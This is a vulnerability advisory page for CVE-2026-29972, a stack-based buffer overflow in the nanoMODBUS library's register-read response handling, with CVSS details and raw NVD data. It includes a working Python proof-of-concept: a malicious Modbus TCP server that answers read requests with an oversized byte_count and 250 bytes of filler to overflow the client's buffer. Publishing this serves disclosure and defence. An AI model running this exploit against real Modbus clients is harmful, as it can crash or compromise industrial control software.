Security Vulnerability Report
中文
CVE-2026-29972 CVSS 8.2 HIGH

CVE-2026-29972

Published: 2026-05-08 16:16:10
Last Modified: 2026-05-08 17:16:30

Description

nanoMODBUS through v1.22.0 has a stack-based buffer overflow in recv_read_registers_res() in nanomodbus.c. When a client calls nmbs_read_holding_registers() or nmbs_read_input_registers(), the library writes register data from the server response to the caller-provided buffer based on the response's byte_count field before validating that byte_count matches the requested quantity. A malicious Modbus TCP server can send a response with byte_count=250 (125 registers) regardless of the requested quantity, causing up to 248 bytes of attacker-controlled data to overflow the buffer, potentially allowing remote code execution.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

nanoMODBUS <= v1.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC for CVE-2026-29972: Malicious Modbus TCP Server # This script simulates a server that sends a response with a large byte_count # to trigger the stack-based buffer overflow in nanoMODBUS client. HOST = '0.0.0.0' PORT = 502 print(f"Listening for connections on {PORT}...") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() with conn: print(f"Connected by {addr}") # Wait for client request (e.g., Function Code 0x03 Read Holding Registers) data = conn.recv(1024) if data: # Extract Transaction ID from request to maintain session transaction_id = data[0:2] protocol_id = b'\x00\x00' # Modbus Protocol unit_id = data[6:7] function_code = b'\x03' # Read Holding Registers # Exploit: Set byte_count to 250 (0xFA) # The client likely requested much less, causing a buffer overflow byte_count = b'\xFA' # Payload: 250 bytes of 'A' (attacker controlled data) payload = b'A' * 250 # Construct the MBAP Header + PDU # Length = UnitID(1) + FuncCode(1) + ByteCount(1) + Payload(250) = 253 length = 1 + 1 + 1 + len(payload) length_bytes = struct.pack('>H', length) malicious_packet = transaction_id + protocol_id + length_bytes + unit_id + function_code + byte_count + payload print("Sending malicious response to trigger overflow...") conn.sendall(malicious_packet)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29972", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:09.960", "lastModified": "2026-05-08T17:16:30.100", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "nanoMODBUS through v1.22.0 has a stack-based buffer overflow in recv_read_registers_res() in nanomodbus.c. When a client calls nmbs_read_holding_registers() or nmbs_read_input_registers(), the library writes register data from the server response to the caller-provided buffer based on the response's byte_count field before validating that byte_count matches the requested quantity. A malicious Modbus TCP server can send a response with byte_count=250 (125 registers) regardless of the requested quantity, causing up to 248 bytes of attacker-controlled data to overflow the buffer, potentially allowing remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/dwilliams27/a4e26fe747c8561d608f7549804bd85f", "source": "[email protected]"}, {"url": "https://github.com/debevv/nanoMODBUS", "source": "[email protected]"}, {"url": "https://github.com/debevv/nanoMODBUS/blob/master/nanomodbus.c#L580-L615", "source": "[email protected]"}]}}